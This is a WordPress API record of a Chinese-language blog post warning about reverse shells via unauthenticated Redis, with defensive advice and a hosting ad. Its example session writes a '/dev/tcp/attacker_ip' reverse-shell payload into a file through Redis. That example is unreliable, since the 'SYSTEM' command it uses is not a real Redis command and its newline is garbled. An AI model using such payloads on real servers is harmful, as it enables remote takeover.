{"id":135051,"date":"2024-10-31T06:59:47","date_gmt":"2024-10-30T22:59:47","guid":{"rendered":"https:\/\/server.hk\/cnblog\/135051\/"},"modified":"2024-10-31T06:59:48","modified_gmt":"2024-10-30T22:59:48","slug":"shell%e6%9a%b4%e9%9c%b2redis%e6%9c%aa%e6%8e%88%e6%ac%8a%e8%a8%aa%e5%95%8f%e5%8f%8d%e5%bd%88shell%e7%9a%84%e5%8d%b1%e9%9a%aa%ef%bc%88redis%e6%9c%aa%e6%8e%88%e6%ac%8a%e8%a8%aa%e5%95%8f%e5%8f%8d%e5%bd%88","status":"publish","type":"post","link":"https:\/\/server.hk\/cnblog\/135051\/","title":{"rendered":"shell\u66b4\u9732Redis\u672a\u6388\u6b0a\u8a2a\u554f\u53cd\u5f48Shell\u7684\u5371\u96aa\uff08redis\u672a\u6388\u6b0a\u8a2a\u554f\u53cd\u5f48\uff09"},"content":{"rendered":"<h1 id=\"shell%e6%9a%b4%e9%9c%b2redis%e6%9c%aa%e6%8e%88%e6%ac%8a%e8%a8%aa%e5%95%8f%e5%8f%8d%e5%bd%88shell%e7%9a%84%e5%8d%b1%e9%9a%aa-jgLAVcCHhR\">Shell\u66b4\u9732Redis\u672a\u6388\u6b0a\u8a2a\u554f\u53cd\u5f48Shell\u7684\u5371\u96aa<\/h1>\n<p>\u5728\u7576\u4eca\u7684\u7db2\u7d61\u74b0\u5883\u4e2d\uff0c\u6578\u64da\u5b89\u5168\u548c\u7cfb\u7d71\u7a69\u5b9a\u6027\u662f\u6bcf\u500b\u4f01\u696d\u548c\u958b\u767c\u8005\u5fc5\u9808\u91cd\u8996\u7684\u554f\u984c\u3002Redis\u4f5c\u70ba\u4e00\u7a2e\u9ad8\u6548\u7684\u9375\u503c\u6578\u64da\u5eab\uff0c\u5ee3\u6cdb\u61c9\u7528\u65bc\u5404\u7a2e\u61c9\u7528\u7a0b\u5e8f\u4e2d\u3002\u7136\u800c\uff0c\u82e5Redis\u672a\u7d93\u6388\u6b0a\u7684\u8a2a\u554f\u88ab\u66b4\u9732\uff0c\u5c07\u53ef\u80fd\u5c0e\u81f4\u56b4\u91cd\u7684\u5b89\u5168\u96b1\u60a3\uff0c\u7279\u5225\u662f\u53cd\u5f48Shell\u7684\u98a8\u96aa\u3002<\/p>\n<h2 id=\"redis%e7%9a%84%e5%9f%ba%e6%9c%ac%e6%a6%82%e5%bf%b5-jgLAVcCHhR\">Redis\u7684\u57fa\u672c\u6982\u5ff5<\/h2>\n<p>Redis\u662f\u4e00\u7a2e\u958b\u6e90\u7684\u9ad8\u6027\u80fd\u9375\u503c\u6578\u64da\u5eab\uff0c\u652f\u6301\u591a\u7a2e\u6578\u64da\u7d50\u69cb\uff0c\u5982\u5b57\u7b26\u4e32\u3001\u54c8\u5e0c\u3001\u5217\u8868\u3001\u96c6\u5408\u7b49\u3002\u7531\u65bc\u5176\u9ad8\u6548\u7684\u6027\u80fd\u548c\u9748\u6d3b\u7684\u6578\u64da\u7d50\u69cb\uff0cRedis\u88ab\u5ee3\u6cdb\u61c9\u7528\u65bc\u7de9\u5b58\u3001\u6d88\u606f\u968a\u5217\u548c\u5be6\u6642\u6578\u64da\u8655\u7406\u7b49\u5834\u666f\u3002<\/p>\n<h2 id=\"%e6%9c%aa%e6%8e%88%e6%ac%8a%e8%a8%aa%e5%95%8f%e7%9a%84%e9%a2%a8%e9%9a%aa-jgLAVcCHhR\">\u672a\u6388\u6b0a\u8a2a\u554f\u7684\u98a8\u96aa<\/h2>\n<p>Redis\u7684\u5b89\u5168\u6027\u4e3b\u8981\u4f9d\u8cf4\u65bc\u5176\u914d\u7f6e\u548c\u8a2a\u554f\u63a7\u5236\u3002\u5982\u679cRedis\u670d\u52d9\u5668\u672a\u8a2d\u7f6e\u5bc6\u78bc\u6216\u672a\u9650\u5236\u8a2a\u554fIP\uff0c\u5247\u4efb\u4f55\u4eba\u90fd\u53ef\u4ee5\u901a\u904e\u7db2\u7d61\u8a2a\u554f\u8a72\u670d\u52d9\u5668\u3002\u9019\u7a2e\u60c5\u6cc1\u4e0b\uff0c\u653b\u64ca\u8005\u53ef\u4ee5\u57f7\u884c\u4efb\u610f\u547d\u4ee4\uff0c\u751a\u81f3\u53cd\u5f48Shell\uff0c\u9032\u4e00\u6b65\u63a7\u5236\u670d\u52d9\u5668\u3002<\/p>\n<h3 id=\"%e5%8f%8d%e5%bd%88shell%e7%9a%84%e6%a6%82%e5%bf%b5-jgLAVcCHhR\">\u53cd\u5f48Shell\u7684\u6982\u5ff5<\/h3>\n<p>\u53cd\u5f48Shell\u662f\u4e00\u7a2e\u653b\u64ca\u6280\u8853\uff0c\u653b\u64ca\u8005\u5229\u7528\u53d7\u5bb3\u8005\u7684\u7cfb\u7d71\u4f86\u5efa\u7acb\u4e00\u500b\u53cd\u5411\u9023\u63a5\uff0c\u5f9e\u800c\u7372\u53d6\u5c0d\u8a72\u7cfb\u7d71\u7684\u63a7\u5236\u6b0a\u3002\u7576Redis\u672a\u7d93\u6388\u6b0a\u8a2a\u554f\u6642\uff0c\u653b\u64ca\u8005\u53ef\u4ee5\u901a\u904e\u57f7\u884c\u7279\u5b9a\u547d\u4ee4\u4f86\u5275\u5efa\u53cd\u5f48Shell\uff0c\u9019\u4f7f\u5f97\u4ed6\u5011\u80fd\u5920\u5728\u53d7\u5bb3\u8005\u7684\u7cfb\u7d71\u4e0a\u57f7\u884c\u4efb\u610f\u4ee3\u78bc\u3002<\/p>\n<h2 id=\"%e5%a6%82%e4%bd%95%e5%88%a9%e7%94%a8redis%e6%9c%aa%e6%8e%88%e6%ac%8a%e8%a8%aa%e5%95%8f%e5%8f%8d%e5%bd%88shell-jgLAVcCHhR\">\u5982\u4f55\u5229\u7528Redis\u672a\u6388\u6b0a\u8a2a\u554f\u53cd\u5f48Shell<\/h2>\n<p>\u4ee5\u4e0b\u662f\u4e00\u500b\u7c21\u55ae\u7684\u793a\u4f8b\uff0c\u5c55\u793a\u4e86\u5982\u4f55\u5229\u7528Redis\u7684\u672a\u6388\u6b0a\u8a2a\u554f\u4f86\u53cd\u5f48Shell\uff1a<\/p>\n<pre><code>127.0.0.1:6379&gt; CONFIG SET dir \/tmp\n127.0.0.1:6379&gt; CONFIG SET dbfilename evil.sh\n127.0.0.1:6379&gt; SET x \"#!\/bin\/bashnbash -i &gt;&amp; \/dev\/tcp\/attacker_ip\/port 0&gt;&amp;1\"\n127.0.0.1:6379&gt; SAVE\n127.0.0.1:6379&gt; SYSTEM \/bin\/bash \/tmp\/evil.sh\n<\/code><\/pre>\n<p>\u5728\u9019\u500b\u793a\u4f8b\u4e2d\uff0c\u653b\u64ca\u8005\u9996\u5148\u8a2d\u7f6eRedis\u7684\u5de5\u4f5c\u76ee\u9304\u548c\u6578\u64da\u5eab\u6587\u4ef6\u540d\uff0c\u7136\u5f8c\u5c07\u4e00\u500b\u53cd\u5f48Shell\u7684\u8173\u672c\u5beb\u5165Redis\u4e2d\u3002\u6700\u5f8c\uff0c\u901a\u904e\u57f7\u884cSYSTEM\u547d\u4ee4\u4f86\u904b\u884c\u8a72\u8173\u672c\uff0c\u5f9e\u800c\u5be6\u73fe\u53cd\u5f48Shell\u3002<\/p>\n<h2 id=\"%e9%98%b2%e7%af%84%e6%8e%aa%e6%96%bd-jgLAVcCHhR\">\u9632\u7bc4\u63aa\u65bd<\/h2>\n<p>\u70ba\u4e86\u9632\u6b62Redis\u672a\u6388\u6b0a\u8a2a\u554f\u548c\u53cd\u5f48Shell\u7684\u98a8\u96aa\uff0c\u5efa\u8b70\u63a1\u53d6\u4ee5\u4e0b\u63aa\u65bd\uff1a<\/p>\n<ul>\n<li><strong>\u8a2d\u7f6e\u5bc6\u78bc\uff1a<\/strong>\u5728Redis\u914d\u7f6e\u6587\u4ef6\u4e2d\u8a2d\u7f6e\u5bc6\u78bc\uff0c\u78ba\u4fdd\u53ea\u6709\u6388\u6b0a\u7528\u6236\u53ef\u4ee5\u8a2a\u554f\u3002<\/li>\n<li><strong>\u9650\u5236\u8a2a\u554fIP\uff1a<\/strong>\u901a\u904e\u9632\u706b\u7246\u6216Redis\u914d\u7f6e\u6587\u4ef6\u9650\u5236\u53ef\u8a2a\u554fRedis\u670d\u52d9\u5668\u7684IP\u5730\u5740\u3002<\/li>\n<li><strong>\u4f7f\u7528\u6700\u65b0\u7248\u672c\uff1a<\/strong>\u5b9a\u671f\u66f4\u65b0Redis\u5230\u6700\u65b0\u7248\u672c\uff0c\u4ee5\u4fee\u88dc\u5df2\u77e5\u7684\u5b89\u5168\u6f0f\u6d1e\u3002<\/li>\n<li><strong>\u76e3\u63a7\u65e5\u8a8c\uff1a<\/strong>\u5b9a\u671f\u6aa2\u67e5Redis\u7684\u8a2a\u554f\u65e5\u8a8c\uff0c\u53ca\u6642\u767c\u73fe\u7570\u5e38\u884c\u70ba\u3002<\/li>\n<\/ul>\n<h2 id=\"%e7%b5%90%e8%ab%96-jgLAVcCHhR\">\u7d50\u8ad6<\/h2>\n<p>Redis\u4f5c\u70ba\u4e00\u500b\u5f37\u5927\u7684\u6578\u64da\u5eab\u5de5\u5177\uff0c\u5176\u5b89\u5168\u6027\u4e0d\u5bb9\u5ffd\u8996\u3002\u672a\u7d93\u6388\u6b0a\u7684\u8a2a\u554f\u53ef\u80fd\u5c0e\u81f4\u53cd\u5f48Shell\u7b49\u56b4\u91cd\u5b89\u5168\u554f\u984c\uff0c\u5c0d\u4f01\u696d\u548c\u7528\u6236\u9020\u6210\u91cd\u5927\u640d\u5931\u3002\u56e0\u6b64\uff0c\u63a1\u53d6\u9069\u7576\u7684\u5b89\u5168\u63aa\u65bd\u4f86\u4fdd\u8b77Redis\u670d\u52d9\u5668\u662f\u81f3\u95dc\u91cd\u8981\u7684\u3002\u5c0d\u65bc\u9700\u8981\u9ad8\u6548\u548c\u5b89\u5168\u7684\u6578\u64da\u5b58\u5132\u89e3\u6c7a\u65b9\u6848\u7684\u7528\u6236\uff0c\u9078\u64c7\u5408\u9069\u7684 <a href=\"https:\/\/server.hk\">VPS<\/a> \u670d\u52d9\u53ef\u4ee5\u63d0\u4f9b\u66f4\u597d\u7684\u4fdd\u969c\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u8b66\u60d5Redis\u672a\u6388\u6b0a\u8a2a\u554f\u7684\u5371\u96aa\uff0c\u53ef\u80fd\u5c0e\u81f4\u53cd\u5f48Shell\u653b\u64ca\uff0c\u5a01\u8105\u7cfb\u7d71\u5b89\u5168\u8207\u6578\u64da\u5b8c\u6574\u6027\u3002<\/p>\n","protected":false},"author":0,"featured_media":0,"comment_status":"closed","ping_status":"","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[101],"tags":[],"class_list":["post-135051","post","type-post","status-publish","format-standard","hentry","category-database"],"_links":{"self":[{"href":"https:\/\/server.hk\/cnblog\/wp-json\/wp\/v2\/posts\/135051","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/server.hk\/cnblog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/server.hk\/cnblog\/wp-json\/wp\/v2\/types\/post"}],"replies":[{"embeddable":true,"href":"https:\/\/server.hk\/cnblog\/wp-json\/wp\/v2\/comments?post=135051"}],"version-history":[{"count":1,"href":"https:\/\/server.hk\/cnblog\/wp-json\/wp\/v2\/posts\/135051\/revisions"}],"predecessor-version":[{"id":135052,"href":"https:\/\/server.hk\/cnblog\/wp-json\/wp\/v2\/posts\/135051\/revisions\/135052"}],"wp:attachment":[{"href":"https:\/\/server.hk\/cnblog\/wp-json\/wp\/v2\/media?parent=135051"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/server.hk\/cnblog\/wp-json\/wp\/v2\/categories?post=135051"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/server.hk\/cnblog\/wp-json\/wp\/v2\/tags?post=135051"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}